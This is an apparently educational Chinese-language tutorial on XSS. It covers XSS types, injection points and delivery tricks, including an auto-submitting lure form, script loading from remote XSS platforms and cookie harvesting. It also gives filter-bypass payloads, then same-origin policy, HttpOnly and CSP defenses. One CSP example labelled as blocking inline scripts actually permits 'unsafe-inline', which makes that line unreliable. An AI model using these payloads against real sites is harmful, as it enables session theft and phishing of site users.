XSS
关于xss的知识点
一、XSS 概述
1.1 什么是 XSS?
XSS(Cross Site Scripting,跨站脚本攻击)是一种前端漏洞,目的是让受害者的浏览器执行攻击者编写的恶意 JS 脚本。
| 属性 | 说明 |
|---|---|
| 攻击目标 | 前端脚本解析引擎(如浏览器 JavaScript 引擎) |
| 攻击架构 | B/S 架构(Browser ↔ Server) |
| 核心目的 | 让受害者 JS 客户端运行攻击者的恶意脚本 |
1.2 XSS 的危害
技术层面:
- 窃取凭证(Cookie、Session)
- 篡改 DOM(页面布局及内容)
- 嵌入恶意脚本代码
- 发起恶意请求(Ajax)
- 键盘记录
- 窃取用户浏览历史
- 获取客户端 IP
- 端口扫描
- 获取剪贴板记录
- 破解 CSRF Token 限制
社会影响层面:
- 无账号密码情况下非法登录网站
- 网络钓鱼
- 网页蠕虫
- 网页篡改
1.3 XSS 漏洞原理
前端用户提交的脚本代码,被其他用户浏览器执行,产生预期外的执行后果。
简单来说:让自己提交的前端脚本代码被别人运行。
二、JS 执行模板
| Payload | 说明 |
|---|---|
<script>alert(1)</script> |
直接嵌入 script 标签 |
<script src=https://xsspt.com/MQzN0Z></script> |
从远程加载 script |
<input onmouseover="alert(1)"> |
通过事件属性触发 |
<a href="javascript:alert(1)">aaa</a> |
超链接伪协议 |
<svg onload="alert(1)"> |
SVG 标签的 onload 事件 |
<svg><script>alert(1)</script></svg> |
SVG 中嵌入 script |
<textarea></textarea><script>alert(1)</script> |
闭合 textarea 后注入 |
闭合技巧:
<!-- 需要先闭合标签再注入 -->
<textarea>xxx</textarea> → <textarea></textarea><script>alert(1)</script>
三、XSS 类型
| 类型 | 说明 | 是否与服务器交互 |
|---|---|---|
| 反射型 XSS | 一次性 XSS,通过 URL 参数传递恶意代码 | ✅ 是 |
| 存储型 XSS | 持久性 XSS,恶意代码存储在服务器数据库中 | ✅ 是 |
| DOM 型 XSS | 一次性 XSS,通过 DOM 操作触发,不与服务器交互 | ❌ 否 |
3.1 反射型 XSS
攻击者 → 构造恶意链接 → 诱骗受害者点击 → 恶意脚本在受害者浏览器执行
示例:
http://target.com/search?q=<script>alert(1)</script>
3.2 存储型 XSS
攻击者 → 在论坛/评论区提交恶意脚本 → 存储在服务器数据库 → 其他用户访问页面时执行
3.3 DOM 型 XSS
攻击者 → 构造恶意 URL → 页面 JS 解析 URL 参数 → 动态写入 DOM → 脚本执行
特点: 不与服务器交互,完全在客户端发生。
四、如何发现 XSS
核心原则:见框就插!
常见输入点
| 输入点 | 说明 |
|---|---|
| URL 参数 | ?q=xxx、?id=xxx |
| 无参 URL | /name/zs 路径部分 |
| 表单输入 | 搜索框、评论区、注册/登录框 |
| 文件上传点 | 文件名、文件内容 |
| HTTP 请求头 | User-Agent、Referer、Cookie |
发现思路
- 找到输入点和输出点
- 根据输入点猜测后台的输出点位置及触发条件(盲 XSS)
- 使用 Payload 测试
- 观察闭合、过滤和拦截情况
- 重新构造 Payload
五、XSS 代码投放方式
方式1:直接发送链接
http://target.com/search?q=<script>alert(1)</script>
方式2:通过短网址
原链接:http://target.com/search?q=<script>alert(1)</script>
短网址:http://dwz.cn/abc123
方式3:隐藏表单自动提交
<!-- 诱骗用户点击的页面 -->
<img src="https://example.com/beautiful.jpg" />
<form action="http://target.com/alert.php" method="post">
<input name="data" id="data" type="hidden" value="<script>alert(1)</script>">
<input type="submit" id="btn" value="点击查看更多美女图片">
</form>
<script>
document.getElementById('btn').click();
</script>
方式4:XSS 平台
从 XSS 平台(如 https://xssaq.com)获取攻击 JS 脚本,投放后收割 Cookie。
六、XSS 利用步骤
1. 找到输入点和输出点(含两者共存的情况)
2. 构造 Payload,尽量一次性成功
3. 观察闭合、过滤和拦截情况
4. 重新构造 Payload
5. 如不成功,重复第 3、4 步
七、编码和转义
编码
编码是改变字符的外观表示,中间件会自动解码还原。
| 编码类型 | 示例 |
|---|---|
| URL 编码 | %3Cscript%3E |
| HTML 实体编码 | <script> |
| Base64 | PHNjcmlwdD4= |
| Unicode | \u0061\u006c\u0065\u0072\u0074 |
转义
转义是使特殊字符失去闭合等意义,成为普通字符。
// 转义单引号
' --> \'
| 对比 | 编码 | 转义 |
|---|---|---|
| 是否改变外观 | ✅ 是 | ❌ 否 |
| 是否失去特殊意义 | 视情况 | ✅ 是 |
Unicode 编码示例
// 三个八进制数字
"e" → "\145"
// 两个十六进制数字
"e" → "\x65"
// 四个十六进制数字
"e" → "\u0065"
// 示例:编码后的 alert(1)
eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029");
八、XSS 绕过技巧
8.1 大小写绕过
<ScRiPt>alert(1)</ScRiPt>
8.2 双写绕过
<scr<script>ipt>alert(1)</scr</script>ipt>
8.3 换行绕过
<script>
alert(1)
</script>
8.4 引号和括号替代
<!-- 使用 / 替代引号 -->
<script>alert(/XSS/)</script>
<!-- 使用 String.fromCharCode -->
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
8.5 生僻元素绕过
<svg onload="alert(1)">
<details open ontoggle="alert(1)">
8.6 注释绕过
<!-- 使用注释闭合 -->
<script>alert(1)//</script>
<!-- 或 -->
<!-- --><script>alert(1)</script>
8.7 HTML 实体编码绕过
<!-- HTML 实体编码绕过过滤 -->
<a href="javascript:alert(1)">点击</a>
<!-- 或 -->
<a href="javasc& #114;ipt:alert(1)">点击</a>
8.8 拉丁字母/特殊字符绕过
<!-- 使用拉丁字母替代 -->
<ѕcript>alert(1)</ѕcript>
8.9 提前嵌入反斜杠
<scr\ipt>alert(1)</scr\ipt>
8.10 多行代码合并
<!-- 原始代码 -->
<script>
function add(x, y){
return x+y;
}
document.write(add(2,3));
</script>
<!-- 合并为一行 -->
<script>function add(x,y){return x+y;}document.write(add(2,3));</script>
九、浏览器安全策略
9.1 同源策略
判断同源的三个要素:
| 要素 | 说明 |
|---|---|
| 协议 | http / https |
| 域名 | baidu.com / www.baidu.com |
| 端口 | 80 / 443 / 9001 |
示例判断:
http://baidu.com/ ← 基准
http://www.baidu.com ❌ 域名不同
http://baidu.com:9001 ❌ 端口不同
https://baidu.com ❌ 协议不同
http://baidu.com/abc/ ✅ 同源(路径不影响)
http://baidu.com/lab/ ✅ 同源(路径不影响)
9.2 跨域限制
受跨域限制:
| 限制项 | 说明 |
|---|---|
| Cookie、LocalStorage、IndexDB | 无法跨域读取 |
| 修改 iframe 中其他网站的 DOM | 无法跨域修改 |
| AJAX 请求 | 默认无法跨域发起 |
不受跨域限制:
| 操作 | 说明 |
|---|---|
| 跨域提交表单 | <form action="..."> |
| 跨域引入资源 | <img>、<iframe>、<link>、<script> |
9.3 HttpOnly
| 属性 | 说明 |
|---|---|
| HttpOnly | Cookie 标记 HttpOnly 后,JS 无法读取该 Cookie,只能由浏览器在 HTTP 请求中自动携带 |
| 作用 | 防止 XSS 窃取 Cookie(但无法防止 CSRF) |
// PHP 设置 HttpOnly Cookie
setcookie("name", "value", time()+3600, "/", "", false, true);
// ↑
// HttpOnly
9.4 思考题
问: XSS 代码植入后,将 Cookie 发送到 XSS 平台(不同源网站),为什么能成功?
答:
- XSS 平台接收 Cookie 是通过 跨域请求(如
<img src="xss平台地址?cookie=xxx">) - 这种跨域请求不受同源策略限制(通过
<img>、<script>等标签引入资源是允许的) - Cookie 的发送是通过当前页面的 JS 读取后拼接到 URL 中,不是浏览器自动携带 Cookie 跨域
十、XSS 防护思路
10.1 防护措施
| 措施 | 说明 |
|---|---|
| 白名单策略 | 只允许指定的标签和事件属性 |
| 黑名单策略 | 过滤危险标签和事件(不可靠,易绕过) |
| HTML 实体编码 | 对 <、>、"、'、/ 进行编码 |
| HttpOnly | 下发 Cookie 时添加 HttpOnly 属性 |
| CSP | 设置 Content-Security-Policy,限制脚本执行来源 |
| XSS 过滤框架 | 使用成熟的防 XSS 框架(如 OWASP 的 ESAPI) |
| 富文本编辑器 | 采用成熟的富文本前端组件(如 UEditor、TinyMCE) |
10.2 关键防护代码
// PHP 输出时进行 HTML 实体编码
echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
// PHP 设置 HttpOnly Cookie
setcookie('session_id', $value, [
'httponly' => true,
'secure' => true, // 仅 HTTPS 传输
'samesite' => 'Strict'
]);
10.3 CSP 示例
<!-- 仅允许来自同源的脚本 -->
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
<!-- 仅允许来自特定域名的脚本 -->
<meta http-equiv="Content-Security-Policy" content="script-src 'self' https://cdn.example.com">
<!-- 禁止内联脚本执行 -->
<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline'">
📌 快速参考卡片
常用 Payload
<!-- 基础弹窗 -->
<script>alert(1)</script>
<script>alert(document.cookie)</script>
<!-- 事件触发 -->
<img src="x" onerror="alert(1)">
<body onload="alert(1)">
<input onfocus="alert(1)" autofocus>
<!-- 超链接 -->
<a href="javascript:alert(1)">点击</a>
<!-- SVG -->
<svg onload="alert(1)">
<!-- 远程加载 -->
<script src="https://xss.pt/xxx.js"></script>
XSS 类型判断
反射型:恶意代码在 URL 中,一次性
存储型:恶意代码在数据库中,持久性
DOM型:恶意代码在 URL 中,纯前端触发,不与服务器交互
绕过速查
大小写 → <ScRiPt>alert(1)</ScRiPt>
双写 → <scr<script>ipt>alert(1)</scr</script>ipt>
编码 → 实体编码、Unicode、Base64
生僻元素 → svg、details、video、audio
注释 → 用 // 或 <!-- --> 闭合
防御速查
输入过滤 → 过滤危险标签和事件
输出编码 → htmlspecialchars()
Cookie → HttpOnly + Secure + SameSite
CSP → 限制脚本来源
富文本 → 使用成熟编辑器
一、XSS 概述1.1 什么是 XSS?1.2 XSS 的危害1.3 XSS 漏洞原理二、JS 执行模板三、XSS 类型3.1 反射型 XSS3.2 存储型 XSS3.3 DOM 型 XSS四、如何发现 XSS常见输入点发现思路五、XSS 代码投放方式方式1:直接发送链接方式2:通过短网址方式3:隐藏表单自动提交方式4:XSS 平台六、XSS 利用步骤七、编码和转义编码转义Unicode 编码示例八、XSS 绕过技巧8.1 大小写绕过8.2 双写绕过8.3 换行绕过8.4 引号和括号替代8.5 生僻元素绕过8.6 注释绕过8.7 HTML 实体编码绕过8.8 拉丁字母/特殊字符绕过8.9 提前嵌入反斜杠8.10 多行代码合并九、浏览器安全策略9.1 同源策略9.2 跨域限制9.3 HttpOnly9.4 思考题十、XSS 防护思路10.1 防护措施10.2 关键防护代码10.3 CSP 示例📌 快速参考卡片常用 PayloadXSS 类型判断绕过速查防御速查